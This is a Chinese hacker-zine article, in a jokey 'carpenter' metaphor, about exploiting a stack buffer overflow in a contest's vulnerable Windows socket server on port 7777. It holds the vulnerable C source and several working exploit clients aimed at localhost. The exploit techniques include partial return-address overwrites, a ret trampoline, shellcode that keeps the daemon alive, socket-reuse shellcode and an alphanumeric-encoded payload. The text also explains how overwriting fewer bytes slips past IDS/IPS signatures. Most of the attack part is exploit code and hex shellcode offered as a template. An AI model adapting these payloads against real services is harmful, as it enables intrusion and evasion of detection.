==Ph4nt0m Security Team==
                       Issue 0x01, Phile #0x03 of 0x06

|=---------------------------------------------------------------------------=|
|=---------------------=[       做一個優秀的木匠      ]=---------------------=|
|=---------------------------------------------------------------------------=|
|=---------------------------------------------------------------------------=|
|=--------------------=[           By F.Zh             ]=--------------------=|
|=---------------------------------------------------------------------------=|
|=---------------------------------------------------------------------------=|

    [本文內容可能會傷及到部分名人粉絲感情，作者表示僅為插科打諢之用，并無惡意]
    有副圖描述了從發現漏洞到最后盈利的過程，大概意思是研究人員發現了房子的漏洞，木
匠針對漏洞造了一個梯子，最后腳本小子進屋偷東西。國內的圈子里面，玩票性質的安全愛好
者大多不愿意做腳本小子，同時也不見得有足夠的時間去找房子的漏洞，所以閑暇時候基本上
做做木匠活當消遣。但木匠也是有三六九等的，有朱由校，有魯班，也有就只能給地主老財家
做楠木棺材的。作為一個有職業道德的木匠，顯然應該努力向前面兩個靠攏，因為只能做做楠
木棺材的，未免也太失面子了。

    這篇文章就從國內某著名破解論壇搞的科普競賽開始，由一個楠木棺材級別的木匠掙扎
著介紹一下放眼能夠看到的技巧。在切入正題前，有必要介紹一下科普競賽的背景和結果：
大約是看到windows漏洞太值錢，破解組織也開始搞起了逆向和exploit，而且還以競賽的方
式來引起非木匠的關注。科普競賽的題目是兩道，如Sowhat所說
(http://hi.baidu.com/secway/blog/item/cb121863a6af72640c33facf.html)，第二道題是
可以Google到的，而第一道題顯然是個送分題，因此科普競賽實際上是個比手快的過程。最
后結果是nop拿了第一，這個名字讓人不禁聯想到了五一國際勞動節和革命先烈鮮血的顏色，
當然，我們依然懷著無比的敬仰和美好的期望，希望這個nop不是職業運動員參加了業余比賽。
    先看看存在問題的程序。逆向很簡單，但是為了方便，還是直接給出官方公布的源代碼。
具有嚴重自虐傾向的木匠請編譯后用ida逆向一下，并自備低溫蠟燭和愛心小皮鞭。
========================和諧的分割線=================================
#include<iostream.h>
#include<winsock2.h>
#pragma comment(lib, "ws2_32.lib")
void msg_display(char * buf)
{
  char msg[200];
  strcpy(msg,buf);// overflow here, copy 0x200 to 200
  cout<<"********************"<<endl;
  cout<<"received:"<<endl;
  cout<<msg<<endl;
}
void main()
{
  int sock,msgsock,lenth,receive_len;
  struct sockaddr_in sock_server,sock_client;
  char buf[0x200]; //noticed it is 0x200
  WSADATA wsa;
  WSAStartup(MAKEWORD(1,1),&wsa);
  if((sock=socket(AF_INET,SOCK_STREAM,0))<0)
  {
    cout<<sock<<"socket creating error!"<<endl;
    exit(1);
  }
  sock_server.sin_family=AF_INET;
  sock_server.sin_port=htons(7777);
  sock_server.sin_addr.s_addr=htonl(INADDR_ANY);
  if(bind(sock,(struct sockaddr*)&sock_server,sizeof(sock_server)))
  {
    cout<<"binding stream socket error!"<<endl;
  }
  cout<<"**************************************"<<endl;
  cout<<"     exploit target server 1.0     "<<endl;
  cout<<"**************************************"<<endl;
  listen(sock,4);
  lenth=sizeof(struct sockaddr);
  do{
    msgsock=accept(sock,(struct sockaddr*)&sock_client,(int*)&lenth);
    if(msgsock==-1)
    {
      cout<<"accept error!"<<endl;
      break;
    }
    else
      do
      {
        memset(buf,0,sizeof(buf));
        if((receive_len=recv(msgsock,buf,sizeof(buf),0))<0)
        {
          cout<<"reading stream message erro!"<<endl;
          receive_len=0;
        }
        msg_display(buf);//trigged the overflow
      }while(receive_len);
      closesocket(msgsock);
  }while(1);
  WSACleanup();
}
========================和諧的分割線=================================
    如注釋所言，這里是誤把0x200長度的往200字符串里面拷貝了。其實這個問題并不具有
代表性，比爾叔叔的手下們把widechar的長度算錯過，把棧上的變量當堆釋放過，把用戶給的
地址內容加1過，唯獨沒有昏到把16進制和10進制搞混。不過既然主辦方這樣寫，我們也就這
樣看吧。實際上逆向出來后，作為一個模板可以覆蓋ret，然后code page里面找jmp esp，然
后這樣那樣，很簡單就搞定exp了。盡管在冠軍的答案中看到了這種方法的影子，楠木棺材級
木匠還是要揮舞著手中的鋸子說，這種程度只能去做洗腳盆。

    好吧，那我們一步一步地看如果從洗腳盆程度提升到楠木棺材級別，并展望一下更高的
層次。
    首先是獲取CPU的控制權問題。

    dark spyrit在某期Phrack（記不清楚了）上提出可以用系統加載的dll上的指令碼來跳
轉并獲得控制權。這里有一個前提，因為很巧的你覆蓋了一大堆東西后，ret退棧后esp指向
你能夠控制的代碼，因此用一個jmp esp可以跳過來執行，剩下就是編寫shellcode。但是，
并不是說就只能用這個方法，或者說這個方法就最好。dark spyrit最大的貢獻是提出了一
個通用的方法，同馬列主義毛澤東思想鄧小平理論三個代表八榮八恥一樣，雖然是放之四海
而皆準的真理，不過到了中國，還是要要結合具體的國情來開展工作。拿jmp esp的東西往
機器上一跑，不同的操作系統版本怎么辦，/3gb模式怎么辦？做洗腳盆的確可以區分著做出
男用女用小孩用人妖用的，但是可能拿去用的人是超女的冠軍，如果事先你不知道名字，只
看長相，你說到底給那個盆子好？

    所以造梯子的時候，最好還是根據實際情況來。一般來說，棧溢出時，對棧上的破壞情
況不是很嚴重的話，在棧區域上可以看到很多上層函數的局部變量，而且這些局部變量往往
是很有用的，比如湊巧就是你那個字符串的指針等。打棧上變量的主意有幾個好處，首先你
可以用其他更穩定的方法跳轉到惡意字符串的開頭，其次這可以給你多一些字節空間來存放
shellcode，最后還可以防止一些ids/ips的檢測。我們可以用下面一個簡單的圖示來把這
三個優勢混雜起來說明一下。
<--lower                                                upper-->
================================================================
var of vulnerable function   |  ret  |  var of upper function ...
================================================================
NOP NOP NOP NOP NOP NOP NOP  |jmp esp|  shellcode
================================================================
shellcode                    |jmp  ? |  var of upper function
================================================================

    第二行是馬列主義方法，你一定會覆蓋到ret，然后繼續覆蓋起碼2個字節(eb xx往回跳轉)。
因此一些ids/ips的signature就寫了，如果你超過xxoo個字節，就阻止發送。就算寫得不好
的signature起碼也會檢查你是否覆蓋到了ret的四個字節，一些更嚴格的甚至只要覆蓋到ret
的第一個字節就報警，對于這樣的情況，馬列主義方法肯定是被扼殺了，但是第三行的具體國
情方法還有一線機會逃脫檢測，我們根本不用覆蓋完ret的四個字節，只要利用棧上的變量，
找一些特定的字節碼就可以了。

    說到這里還可以插播一個事情，去年一月份泄露出來的.ani溢出的exp，大家對那個覆
蓋了低兩位的exp驚嘆不已。這就是一個很好的例子：第一，你用最小的字節數完成了功能，
最大限度避免了ids等的問題。第二，這個方法的穩定性還好。這樣說其實是很抽象的，我們
還是回到科普競賽的代碼上來看。

    調用msg_display的時候傳遞進來了一個參數，在棧上表現出來是這個參數是緊接著ret
地址后面的，如果我們僅覆蓋到了ret地址，當CPU執行完msg_display返回時，esp剛好指向
這個參數，這個時候只需要一個能達到jmp [esp]功能的地址，就能準確跳轉到我們傳入的
字符串上去，顯然，滿足這個條件最好的指令就是0xc3(ret)。下面這個圖簡單地說明了這
個問題。
<--lower                                                              upper-->
=============================================================================
var of vulnerable function  |  ret  |  ptr  | other var of upper function ...
=============================================================================
^---------------------------------------|

    把圖中的ret用一個內容為0xC3的地址A來覆蓋，當msg_display返回時，返回到了A地址，
再執行了一次0xC3(ret)指令，eip就跳到了字符串的開頭。

    這里的情況還是很簡單的，實際exploiting中也許這個ptr離ret還有點距離，可能需要
你pop幾次，這個形式上同覆蓋seh的利用方法相同，也算是一個巧合吧。

    然后來說說0xC3地址的尋找。首先很遺憾的，如果你想用四個字節完全覆蓋ret地址，
沒有一個通用地方。msvcrt.dll在相同sp的不同語言系統中相對固定，code page在相同語
言不同版本系統中相對固定。注意，這里只是相對，碰上些特殊的情況，可能這些平時通用
的地址根本就是無效的地址。再嚴格一些，如果這里地址必須符合某種編碼規范，也許你更
難找到可用的地址，更別說通用了。

    洗腳盆級別的木匠到這里估計要暈倒了，棺材匠級別的應該還有點辦法，兩個解決方案：

    第一、找一個替代產品來滿足編碼規范。比如0x7ffa1571是你要找的pop pop ret，沒
必要一定要用0x7ffa1571，也許用0x7ffa156e也可以，只要pop pop ret前面的指令無傷大
雅就是。一個實際的例子是泄露出來的realplayer import那個，要找pop pop ret，但是符
合編碼規范的范圍內找不到，作為替代找了一個 call xxx/ret xx，而且剛好call xxx還不
會讓程序崩潰。

    第二、縮小覆蓋面積。覆蓋4個字節太痛苦了，少覆蓋幾個字節吧。x86的DWORD是低位
在上的，所以你順序覆蓋的時候，首先覆蓋了ret地址的低位。正常的ret值是返回到某個pe
文件中，比如00401258，如果覆蓋一個字節，那可能的地址范圍是00401201~004012ff，如果
覆蓋2個字節，可能的地址范圍在00400101~0040ffff。這么大的范圍內一般容易找到滿足
要求的地址，而且更重要的是，pe文件版本固定的話，盡管加載的基地址可能會變化，但是由
于基地址有個對齊的要求，低位（兩個字節或更多）完全固定，這實際上是一個很好的提高穩
定性的方法?，F實中memcpy導致的問題用這種方法更有效，strcpy的麻煩些，不過好在只要
說明問題就是，這里也不深究過多。馬上給出第一個代碼。
========================和諧的分割線=================================
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32")
SOCKET ConnectTo(char *ip, int port)
{
    SOCKET s;
    struct hostent *he;
    struct sockaddr_in host;
    if((he = gethostbyname(ip)) == 0)
        return INVALID_SOCKET;
    host.sin_port = htons(port);
    host.sin_family = AF_INET;
    host.sin_addr = *((struct in_addr *)he->h_addr);
    if ((s = WSASocket(2, 1, 0, 0, 0, 0)) == -1)
        return INVALID_SOCKET;
    if ((connect(s, (struct sockaddr *) &host, sizeof(host))) == -1)
    {
        closesocket(s);
        return INVALID_SOCKET;
    }
    return s;
}

void main()
{
    char malicious[] =  "\xcc"
                    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                    "OA@";
    WSADATA wsaData;
    if(WSAStartup(0x0101,&wsaData) != 0)
        return;
    SOCKET s = ConnectTo("127.0.0.1", 7777);
    send(s, malicious, 203, 0);  //hard encoded :)
    WSACleanup();
}
========================和諧的分割線=================================

    執行下順利到達int3指令。

    構造exp的過程本身是簡單的，關鍵在shellcode實現功能上。洗腳盆木匠到這一步基本
上就是找一個shellcode來用。作為一個有職業道德的棺材級木匠，可能還應該有點更高的
追求：好的梯子除了能夠通用而精確地干掉存在漏洞的機器外，同時還要方便使用者，繞過
防火墻，而且還要盡可能少地影響到守護進程。對于網絡程序，理想的情況是復用端口，終
極目標是復用完了還不掛，后續的使用者能夠正常使用守護進程的功能。后一點聽起來似
乎有點不可思議，而且流傳在外面的各種exp，好像還罕有牛到這種程度，不過說穿了也沒什
么奇怪的，棺材級的木匠一般都能做到，只是馬桶級木匠更喜歡散布馬桶級exp而已。我們
把復用端口的問題留在后面，先聊聊如何讓守護進程不掛掉這個事情。

    要程序不掛，最簡單的辦法就是恢復溢出時候的上下文，然后返回去。通常jmp esp的方
法因為覆蓋得太多，棧給洗腳盆木匠搞得一團糟，影響了太多上級函數的變量，導致根本沒有
什么好辦法可以恢復。這個時候，盡可能少覆蓋的優勢出來了：由于最大限度地保存了上層
函數局部變量，所以要做的就是恢復相關寄存器的值，然后尋找正常流程應該返回的地址，跳
轉回去即可。對于這里這個簡單的daemon，我們甚至可以硬編碼返回地址。還是把例子給出
來，說明一下問題先。

========================和諧的分割線=================================
char malicious[] =
"\xCC"
"LLLL`a"
"\x50\x44\x44\x68\x55\x55\x55\x12\x44\x44\xc3"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"OA@";
========================和諧的分割線=================================

    同前面一個代碼相同，0xCC為了調試方便，改成0x90后再編譯執行下，可以看見守護進程
完全恢復了，你還可以telnet 7777過去正常執行功能，和沒有發生過問題一樣。這里恢復的
代碼用了一點小技巧，有興趣的木匠可以仔細看看，代碼`和a分別是pushad和popad，在這兩
個中間可以放置任何功能的shellcode，不影響整體的框架。

    例子雖然簡單，但是我建議讀到這里的木匠還是跟進去看一下流程。由于這個實例比
較直觀，代碼就簡單恢復了上下文然后跳到正常地方執行，對于復雜點的代碼，可能需要多
費一點手腳，但是大體思路和步驟還是可以確定的：首先收集一個正常執行完出問題代碼的
寄存器和棧狀態；然后確定要返回的地址，搜索或者硬編碼，返回的地方可以是上一層，也可
以返回上幾層，甚至無恥地跳到入口讓程序重新執行一次都可以；最后將恢復的代碼編碼成
shellcode，加在正常功能shellcode的后面。

    讓守護進程不掛也做到了，接著看看端口復用的情況。
    最簡單的網絡程序保留有一個SOCKET來通訊，很多已有的文章討論了如何找到當前的
SOCKET。最常用的方法是枚舉所有可能的值，然后發送特征字符串來確認。也有人hook
recv，通過稍微被動一點的方法來獲得SOCKET。當然這些都是懶人用的通用方法，對于特定
的程序，簡單而又穩妥的方法是直接找棧上的變量，消耗的代碼少，而且一次性就能找到。
如果編譯優化的時候沒有具體分配棧上的空間給這個socket，則它一定會被保存在某個寄
存器里面，那就更簡單了。針對具體的情況，像recv之類的函數也沒有必要用很長的通用代
碼去搜索，只要在PE文件里面找找就成。具體的實現細節我們省略掉，給出代碼，直接跟進
去看看就知道了。

========================和諧的分割線=================================

void main()
{
    char malicious[] =  "\x90"
                    "LLLL`"
                    "\x33\xd2\x66\xba\x10\x10\x2b\xe2\x33\xf6\x56\x52\x54\x53\x66\xb8"
                    "\xe4\x90\xff\x10\x83\xec\x08\xff\xd4\x5d\x5d\x33\xd2\x66\xba\x10"
                    "\x10\x03\xe2"
                    "a"
                    "\x50\x44\x44\x68\x55\x55\x55\x12\x44\x44\xc3"
                    ""
                    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                    "OA@";
    WSADATA wsaData;
    if(WSAStartup(0x0101,&wsaData) != 0)
        return;
    SOCKET s = ConnectTo("127.0.0.1", 7777);
    send(s, malicious, 203, 0);

    send(s, "\xCC\xC3",2,0);
    Sleep(-1);
    WSACleanup();
}
========================和諧的分割線=================================

    這里直接復用了當前的SOCKET，再次調用recv收了一段shellcode來執行，也就是后面看
到的"\xCC\xC3"。自己再寫個簡單的shellcode就是，基本沒有難度，只是注意要平衡棧，最
后用個0xc3結尾。比較見鬼的是這個守護進程有recv但是沒有send，所以shellcode里面你
必須自己找到send的地址……娘西皮，還帶這樣玩的啊。

    其他情況下的復用還有一些其他的方法，比如IIS 5這一類的，比如RPC一類的。前者尋
找一個結構，后者hook一個函數，偽造或者搜索一個同時有in和out的opnum，具體細節baidu
上能夠搜索到，限于篇幅這里也不再廢話了。如果對方是其他完成端口形式，比如ORACLE，只
能暴力點shutdown掉當前監聽，自己來監聽一個。當然，也有沒什么好方法的，比如IIS6。

    上面的過程省略了沒有技術含量的shellcode編寫過程，主要說的是一些步驟，方法和技
巧。穩定，復用，還有不掛掉守護進程，都作到了，洗腳盆也成功升級為了棺材匠，還有什么可
以做的呢？

    美觀！這個shellcode簡直不是一般的難看，混雜了可讀的字符和不可讀的字符，簡直是
丑陋不堪！你說一個木匠會把棺材做的全是毛刺么，不會雕龍刻鳳的木匠永遠是二流的。對
于木匠來說，終極的目標是將一個exp發揮到極致，對于這樣簡單的一個情況，要用所有可見
的字符，最好盡可能都是字母，甚至exp都不用，直接用個telnet就可以溢出獲得shell了。

    不可能么？當然是可能的，人有多大膽地有多大產，錢老還論證過畝產萬斤是可行的呢。
那么，還是給個sample。

void main()
{
    char malicious[] =  "`aZZZZZZZZZZZZZZZZZZTYXXXXfiAqcYfPAAeiAoHFXZPiAkj"
            "brIPiAgVbaaPiAckwzOPLiAsloUWPiAZczabPiAVYDahPiARC"
            "pDXPQlaatHWsaLtUAAAACFiaaPoHHmDahivabowabxANlKjPpp"
            "ppPfqVfkzppQpBknrFJPPeruDecoOaeNtiPdPpPxSnLpHOoMd"
            "AAAOA@";
    WSADATA wsaData;
    if(WSAStartup(0x0101,&wsaData) != 0)
        return;
    SOCKET s = ConnectTo("127.0.0.1", 7777);
    send(s, malicious, 203, 0);

    send(s, "\xCC\xC3",2,0);
    Sleep(-1);
    WSACleanup();
}

    這里兩段shellcode，我們主要解決第一步的問題。要說明malicious到底是個什么東西，
牽扯的面就太廣了，我們假設看文章的木匠都是有匯編功底的，而且愿意反匯編進去看一下，
就簡單的提提，因為要寫這個shellcode的構造，那又是一篇文章。shellcode里面首先平衡
棧，然后對棧進行一些patch，patch出想要的指令，然后對后續數據進行解碼操作，最后再執
行。

    這個code，運行順利可以抓到一個0xCC，也就是第二個send的。但是，ret后守護進程還
是掛了。

    為了美觀，我們exp的工作必須重頭再來。開始我們把姿態定得很低，目的是說明問題，
現在把最重要的幾步都解決了，又回到了原點，各位木匠們，現在可以動起手來寫一下完全符
合可見字符編碼的，復用當前SOCKET的第二段shellcode了。按照前面的步驟，應該不是很難
的事情，讓守護進程不掛也是可以的，malicious代碼保留了革命的火種，發生溢出時的寄存
器值，都保留在上面，剩下一點工作，只是比寫普通shellcode稍微多費點勁的活，不想試試看
么。

    最后再賣個關子，棺材木匠說過，最終是可以由telnet提交的獲得shell，連exp都不用的。
telnet是一個字符一個字符提交的，有沒有什么一次性提交203個字節導致第一次溢出呢？可
以的，守護進程只有一個線程，打打這方面的主意，用個小技巧吧。

-EOF-